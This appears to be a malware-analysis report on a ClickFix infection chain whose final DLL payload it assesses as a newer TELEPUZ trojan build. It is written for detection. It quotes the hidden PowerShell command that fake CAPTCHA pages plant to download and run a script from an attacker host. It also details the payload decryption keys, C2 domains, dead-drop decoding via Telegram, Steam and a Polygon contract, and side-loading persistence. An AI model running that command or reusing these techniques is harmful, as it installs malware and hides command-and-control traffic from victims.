Daydream
Final payload of a ClickFix chain, decrypted statically from data.dat (never on disk in this form; identical for every victim, only the encryption is per machine). PE32+ DLL, export DllMain, compiled 2026-09-10; own TLS via Secur32 over sockets plus WinHTTP/WinINet, parent-PID spoofing, RC4, FNV API hashing, no clear strings. Family not identified. Decryption of data.dat: key = SHA-256 of the text '<MachineGuid>|<C: volume serial, 8 upper-case hex>|<COMPUTERNAME>'; the loader checks HMAC-SHA256(key, data[:-32]) == data[-32:], then AES-256-CBC (CNG, PKCS7) with IV = data[0:16] over data[16:-32]. ClickFix chain: fake CAPTCHA pages plant 'powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('https://wall.casajuanchos.com/pidor.ps1'))'. pidor.ps1 (7623bd07f235e9969183d6d4b5069b4689948e3996b04b4c5d39d90cbcbf0e52) sends MachineGuid|C: serial|computer name|BIOS maker|model|GPU|user as base64 in https://wall.casajuanchos.com/d/<b64> and gets update.zip built for that machine: genuine signed Everything.exe 1.5.0.1423b (81b4d05e84e61891ac043dd76e97de616af17adf53b2ee2fe984d8b0bbbfcc21), Everything.ini, WindowsCodecs.dll (1e29472ea92b8218232d63d0c72859e94e531d9b6d804555c97b26b076af4d23) and data.dat.Intelligence

Values read 2026-10-12: t.me/molerkorstarstot [[CggIDE8IAAEGGxQIAhZWBxcb]] -> raft.asyoulike.nyc; steamcommunity.com/profiles/76561199770856090 'GwUPAU8IABEIAAgABRIbDAcRTwocFQ' -> clay.asianpalaceii.com; Polygon -> h=frog.britishboxing.net|p=443|ssl=1. Primary C2 in the sample: bee.beachcafemb.com. Dead-drop decoding for this build: Telegram og:description holds [[base64]] and the Steam profile name holds base64; decode and XOR with the repeating key 'xinxais' (the July 2026 build in Elastic's report used 'Goodman'). Polygon contract 0xf55Bea1FdCf1c3ABb39ab92567C09aC1BFf6753E, selector 0xc3f909d4, returns hex of 16-byte IV + AES-256-CBC with key cee96a38e2dfe31ccf8c3aa7d0d9323e1e3183b2478ba582285822e943d242e9, plaintext 'h=<host>|p=<port>|ssl=<0|1>'. DNS fallback name shortcut_124.store (no record on 2026-10-12). Mutexes Global\CarbideSvc_mtx, Local\CarbideSvc_mtx. Paths %s\DorvexSys\Inspector, %s\JobAligner.dll, %s\Hurnvex\Relay; relaunch 'rundll32.exe "%s",DllMain' and '"%sEverything.exe" --startup'. Session ID = FNV (prime 0x01000193) and rotl5+0x9E3779B9 hashes over computer name, C: volume serial and InstallDate, printed %08X%08X. Contains Elastic's quoted string 'INJECT:TODO:pid=%u:shellcode_len=%u'. YARA: TELEPUZ_SessionId_DualHash_Oct2026 (YARAify).
Assessed as TELEPUZ (newer build than Elastic Security Labs' report of 2026-07-16): same Polygon contract 0xf55Bea1FdCf1c3ABb39ab92567C09aC1BFf6753E and selector 0xc3f909d4, WebSocket C2 over SChannel with a 16-hex session ID, Telegram/Steam/Polygon fallbacks, AppInfo debug-object UAC bypass strings. Elastic's rule Windows_Trojan_Telepuz_9e2c9a0b does not match this build. Observed by running the decrypted payload aa4f09a1be061cde697c990df49bb09b78639acc1f0decc7b7ef5c30f4df694f in an isolated lab (server not contacted): WebSocket upgrade GET https://bee.beachcafemb.com/analytics/check?lang=<16 hex session id>, no User-Agent, retried with back-off; after about 55 s fallbacks every 11.5 s: https://t.me/molerkorstarstot, https://steamcommunity.com/profiles/76561199770856090 and eth_call {to 0xf55Bea1FdCf1c3ABb39ab92567C09aC1BFf6753E, data 0xc3f909d4} via polygon.gateway.tenderly.co, api.zan.top/polygon-mainnet, rpc-mainnet.matic.quiknode.pro, polygon.publicnode.com, polygon-bor.publicnode.com, polygon.drpc.org. Delivered by ClickFix via wall.casajuanchos.com (ThreatFox 1961112, 1961113) as an Everything.exe + WindowsCodecs.dll side-loading set.
